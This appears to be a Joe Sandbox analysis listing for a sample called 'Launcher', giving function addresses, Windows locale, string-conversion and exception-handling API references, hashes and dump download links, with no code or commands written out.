Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID: A2sx
API String ID: 1272433827-2144273025
Opcode ID: 57479a077d5879e7add77f6947432f8bc4c9d45c51317e38654d89137e3a8353
Instruction ID: 126d190b5b3d2fee4f74f71033c812de2ba7777feac96f0713d5d5b026974dd7
Opcode Fuzzy Hash: 57479a077d5879e7add77f6947432f8bc4c9d45c51317e38654d89137e3a8353
Instruction Fuzzy Hash: 4DF0497AA58204EFD711EF99E802BAD77F0EB84725F10812AF410DB3A1DB759900DF50

Function 009D9B40 Relevance: 2.8, Strings: 2, Instructions: 333COMMON

Download Yara Rule

Strings

0, xrefs: 009D9CB0
A2sx, xrefs: 009D9B48

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID:
String ID: 0$A2sx
API String ID: 0-3748852311
Opcode ID: 3e3472928bc7604d4ed8187864e2e54548b64ffb3d0adf49ac6012a3a887ccd6
Instruction ID: 2ef817312c8aae8bcbe7fe6ece30178ecac7c7727bb13fda26a9e093d58d01cb
Opcode Fuzzy Hash: 3e3472928bc7604d4ed8187864e2e54548b64ffb3d0adf49ac6012a3a887ccd6
Instruction Fuzzy Hash: 66C1E0309806068FCB24EF78C5846BABBFAEF45314F14CA1BE49A97791C335AD45CB60

Function 009D8741 Relevance: 2.8, Strings: 2, Instructions: 318COMMON

Download Yara Rule

Strings

A2sx, xrefs: 009D8749
0, xrefs: 009D88C5

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID:
String ID: 0$A2sx
API String ID: 0-3748852311
Opcode ID: 64301e8b267f36ed85ee53bdeda9b57e9918cf3417d5e8584ccda62c4ab07f12
Instruction ID: 95cdbb2e452407e35d4a97f100c47c67463491508c2e841298dc5382948a31f2
Opcode Fuzzy Hash: 64301e8b267f36ed85ee53bdeda9b57e9918cf3417d5e8584ccda62c4ab07f12
Instruction Fuzzy Hash: AAB1E43098060A8BCB24DF68C9556BFB7B9AF44300F54CA1BD5A2E7793CF34AA01DB51

Function 009E9C73 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,009E9BCE,?,?,00000008,?,?,009F005B,00000000), ref: 009E9EA0

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 937f0aff0dd7ded886c53e355c696b0624204273c1c23e466fe7aef5879ff41d
Instruction ID: e4580cad159664c5e946940c1f4e35df9225a01932c0db834a4eb5a25030de96
Opcode Fuzzy Hash: 937f0aff0dd7ded886c53e355c696b0624204273c1c23e466fe7aef5879ff41d
Instruction Fuzzy Hash: 01B12A31110648DFD716CF29C48ABA57BE0FF45364F298698E99ACF2A2C335ED91CB40

Function 009D3CDF Relevance: 1.7, APIs: 1, Instructions: 242COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 009D3CF5

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 9f87d0a7909d768d4dc7553ab3628775499a5011f22631cd09106a84b6a2b759
Instruction ID: 71655c53debfedb3334fcb6e3fb98eeab00397035843455a5d5c59ccb8c7fffb
Opcode Fuzzy Hash: 9f87d0a7909d768d4dc7553ab3628775499a5011f22631cd09106a84b6a2b759
Instruction Fuzzy Hash: 89A16AF29266058BDB18CF69D9816A9BBF6FB48315F14C62AD421EB3A0D334A940DF50

Function 009E58BF Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 009E0713: GetLastError.KERNEL32(00000000,?,009E2A49), ref: 009E0717
Part of subcall function 009E0713: SetLastError.KERNEL32(00000000,?,?,00000028,009DD2C9), ref: 009E07B9

EnumSystemLocalesW.KERNEL32(009E595A,00000001,00000000,?,-00000050,?,009E574A,00000000,-00000002,00000000,?,00000055,?), ref: 009E5931

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 8304e9665e45d263ff99aff2003fc8263afe6a3895deeae10b960641b4e4ef4d
Instruction ID: b3b1c58d16061834f3282242d83e546390e62dcb611c6140594ed800731bf00e
Opcode Fuzzy Hash: 8304e9665e45d263ff99aff2003fc8263afe6a3895deeae10b960641b4e4ef4d
Instruction Fuzzy Hash: 8111293B2047059FDB189F3AC8A16BAB795FFC432DB15442DE98647641D371BC42CB40

Function 009E5ED9 Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 009E0713: GetLastError.KERNEL32(00000000,?,009E2A49), ref: 009E0717
Part of subcall function 009E0713: SetLastError.KERNEL32(00000000,?,?,00000028,009DD2C9), ref: 009E07B9

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,009E5B76,00000000,00000000,?), ref: 009E5F05

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 92ad93d4d8ea148bd53b93354e1071cb49d4bd3cad04999b3d8fde1b493fc959
Instruction ID: 116630fb7598ce5f826d2d12e754b64a8329069cdd88b2c23ebc1edd2c9b2c16
Opcode Fuzzy Hash: 92ad93d4d8ea148bd53b93354e1071cb49d4bd3cad04999b3d8fde1b493fc959
Instruction Fuzzy Hash: 7501F936A04552BBDB295B278C05BBA3759DF80758F164C68EC46A31C0EA74FE41C690

Function 009E5BAD Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 009E0713: GetLastError.KERNEL32(00000000,?,009E2A49), ref: 009E0717
Part of subcall function 009E0713: SetLastError.KERNEL32(00000000,?,?,00000028,009DD2C9), ref: 009E07B9

EnumSystemLocalesW.KERNEL32(009E5C0C,00000001,?,?,-00000050,?,009E5712,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?), ref: 009E5BF7

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 8e52aecf143a097a31eefcbf0208168e2d83482925c9e1eff574424318cfe812
Instruction ID: 70ad834f9237dc40bbf0bcda67507e54e00e3d21c09551ea9af7e32d0e6ee372
Opcode Fuzzy Hash: 8e52aecf143a097a31eefcbf0208168e2d83482925c9e1eff574424318cfe812
Instruction Fuzzy Hash: 25F046363047485FCB255F3ACC91B7ABB94EFC032CB1A842DF9458B680C6B1AC41CA00

Function 009E5CE1 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 009E0713: GetLastError.KERNEL32(00000000,?,009E2A49), ref: 009E0717
Part of subcall function 009E0713: SetLastError.KERNEL32(00000000,?,?,00000028,009DD2C9), ref: 009E07B9

EnumSystemLocalesW.KERNEL32(009E5D2C,00000001,?,?,?,009E576C,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?,?), ref: 009E5D18

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 358ce555a85ebc4fd779eda0cc469098b5d77a3f20d9ba1d1b1c236ef49b5b13
Instruction ID: c828b345b9fcdbbab3c8eb491a4eb8a098521c2141740dde49d4867d70538212
Opcode Fuzzy Hash: 358ce555a85ebc4fd779eda0cc469098b5d77a3f20d9ba1d1b1c236ef49b5b13
Instruction Fuzzy Hash: 34F0E53A30024957CB159F36DC5976ABF94EFC2718B174059FE098B290C6B19C82CB90

Function 009E11AC Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,00000000,?,009DBDA3,?,20001004,00000000,00000002,?,?,009DACB5), ref: 009E11E0

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: b7980bc917bf63d502cbe841f81a97ed445b84371fa90cbd3a300b236228da9f
Instruction ID: d9871f52ee7c65c17420ba4cc46e9e61bfd8a2055bf9e838cdbcd83cf0fca469
Opcode Fuzzy Hash: b7980bc917bf63d502cbe841f81a97ed445b84371fa90cbd3a300b236228da9f
Instruction Fuzzy Hash: 07E04F71504158BBCF132F62DC04FAE3E2AEF847A1F004010FD1565120CB369D61EA95

Function 009D4067 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00014188), ref: 009D406C

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 7b86c3d18c89802d2c6400ae23fcac344f0d98e9f233a8483bf9c90009a9a6a2
Instruction ID: 4f3085462d4a4600872e0832a0674e3da1912d2fb047399d67f160abb5208f77
Opcode Fuzzy Hash: 7b86c3d18c89802d2c6400ae23fcac344f0d98e9f233a8483bf9c90009a9a6a2
Instruction Fuzzy Hash:

Function 009C1000 Relevance: 1.4, Strings: 1, Instructions: 109COMMON

Download Yara Rule

Strings

A2sx, xrefs: 009C100C

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID:
String ID: A2sx
API String ID: 0-2144273025
Opcode ID: 44ae54902fb32f9708e5520c36c03fee937b6c4d763e2a390d161be6fa269402
Instruction ID: 776685e28a88684e52ffb6a10f16fab066b557b0795169972651a7b697908eec
Opcode Fuzzy Hash: 44ae54902fb32f9708e5520c36c03fee937b6c4d763e2a390d161be6fa269402
Instruction Fuzzy Hash: 835199B0D0020D9FCB40DFA8D591AEEBBF4BB4A350F24445AE815FB351D734AA41CB69

Function 009E1DBC Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 009E1DBC

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 351684aec7dd5c27b60c520afd55448d1dbe96d0ee3926fd6361e857e2d43f62
Instruction ID: c7427f727c515fcba3ed5c74e7630689b13ea962dd3e12c358f95b48fc60c859
Opcode Fuzzy Hash: 351684aec7dd5c27b60c520afd55448d1dbe96d0ee3926fd6361e857e2d43f62
Instruction Fuzzy Hash: 46A001B1629201CB97408F36AA5962D3AA9AA4A6917498069A429C9164EA289490FF02

Function 009C16A0 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2fc957a023a34a81f92743df9ded66c93b6ade819c22337f6cef84552d91796
Instruction ID: b911263a0f12a32917ffef27943ccdad84e67086307c57b347bb7150d0cf9407
Opcode Fuzzy Hash: f2fc957a023a34a81f92743df9ded66c93b6ade819c22337f6cef84552d91796
Instruction Fuzzy Hash: 83D0923A655A58AFC210CF49E440D51F7B9FB8D670B158566EA0893B20C331FC11CAE0

Function 009EEDF2 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(013AE090,013AE090,00000000,7FFFFFFF,?,009EEDDD,013AE090,013AE090,00000000,013AE090,?,?,?,?,013AE090,00000000), ref: 009EEE98
__alloca_probe_16.LIBCMT ref: 009EEF53
__alloca_probe_16.LIBCMT ref: 009EEFE2
__freea.LIBCMT ref: 009EF02D
__freea.LIBCMT ref: 009EF033
__freea.LIBCMT ref: 009EF069
__freea.LIBCMT ref: 009EF06F
__freea.LIBCMT ref: 009EF07F

Strings

A2sx, xrefs: 009EEDFA

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID: A2sx
API String ID: 127012223-2144273025
Opcode ID: bc9c0dd79099146911b4e1b8fe89c2fb0b7b1f55516f0d6b42d117a6591bf1d2
Instruction ID: 09729484268a584c893f03f3236bbbe5f01b387554142d120ea74d2cb8277532
Opcode Fuzzy Hash: bc9c0dd79099146911b4e1b8fe89c2fb0b7b1f55516f0d6b42d117a6591bf1d2
Instruction Fuzzy Hash: 857108729002C9ABDF239F668C51BAF77BD9F89311F19046AF904B7283DB758C418761

Function 009D45A9 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 177COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?), ref: 009D45F0
__alloca_probe_16.LIBCMT ref: 009D461C
MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?,00000000,00000000), ref: 009D465B
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 009D4678
LCMapStringEx.KERNEL32(?,?,00000000,00000000,?,?,00000000,00000000,00000000), ref: 009D46B7
__alloca_probe_16.LIBCMT ref: 009D46D4
LCMapStringEx.KERNEL32(?,?,00000000,00000001,00000000,00000000,00000000,00000000,00000000), ref: 009D4716
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 009D4739

Strings

A2sx, xrefs: 009D45AF

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID: A2sx
API String ID: 2040435927-2144273025
Opcode ID: 8d464792e98547be247173cdf4941b7bd194f244f99c73e999ca7f838e85eab1
Instruction ID: af8f889eb5793efc9b9bc6ef2bf8ebe56c76f15973dd9bb774d666ef6fcfdb8d
Opcode Fuzzy Hash: 8d464792e98547be247173cdf4941b7bd194f244f99c73e999ca7f838e85eab1
Instruction Fuzzy Hash: C6519E72640206ABEF205F64CC45FBE7BA9EF55740F24842AF919EB290DB34DD10DB60

Function 009D5440 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 130COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 009D5477
___except_validate_context_record.LIBVCRUNTIME ref: 009D547F
_ValidateLocalCookies.LIBCMT ref: 009D5508
__IsNonwritableInCurrentImage.LIBCMT ref: 009D5533
_ValidateLocalCookies.LIBCMT ref: 009D5588

Strings

A2sx, xrefs: 009D54F2, 009D556F
csm, xrefs: 009D551D

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: A2sx$csm
API String ID: 1170836740-272854930
Opcode ID: c10b075f06245f6b298f3c07932b7586ffe695f5f4b109ba7ee4e481867bea82
Instruction ID: f3d6aea293e6d0c832193ad1af3707fc119c1174a74086b3185fbefbf551609c
Opcode Fuzzy Hash: c10b075f06245f6b298f3c07932b7586ffe695f5f4b109ba7ee4e481867bea82
Instruction Fuzzy Hash: AB410930A00608DBCF11DF68D884BAE7BB6AF85315F15C156F9189B3A2D771DE41CB91

Function 009E3332 Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 009E33B8

Memory Dump Source

